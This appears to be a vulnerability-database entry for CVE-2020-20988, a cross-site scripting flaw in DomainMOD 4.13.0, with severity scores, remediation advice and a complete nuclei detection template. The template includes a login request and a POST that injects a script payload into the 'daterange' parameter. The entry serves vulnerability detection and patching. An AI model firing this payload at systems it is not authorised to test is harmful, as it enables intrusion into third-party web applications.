Browse / CVEs / CVE-2020-20988
CVE-2020-20988· domainmod / domainmod· CWE-79
DomainMOD 4.13.0 - Cross-Site Scripting
mediumseverity
5.4CVSS score
1.3%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it
DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
How to confirm it
Send: POST / ; POST /reporting/domains/cost-by-owner.php
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "value=\"\"/><script>alert(document.domain)</script>") and contains(body_2, "DomainMOD")Run it with nuclei: nuclei -id CVE-2020-20988 -u <target>
The full check
id: CVE-2020-20988
info:
name: DomainMOD 4.13.0 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
reference:
- https://mycvee.blogspot.com/p/xss2.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-20988
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-20988
cwe-id: CWE-79
epss-score: 0.01331
epss-percentile: 0.71334
cpe: cpe:2.3:a:domainmod:domainmod:4.13.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: domainmod
product: domainmod
tags: cve2020,cve,domainmod,xss,authenticated,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_username={{username}}&new_password={{password}}
- |
POST /reporting/domains/cost-by-owner.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "value=\"\"/><script>alert(document.domain)</script>")'
- 'contains(body_2, "DomainMOD")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from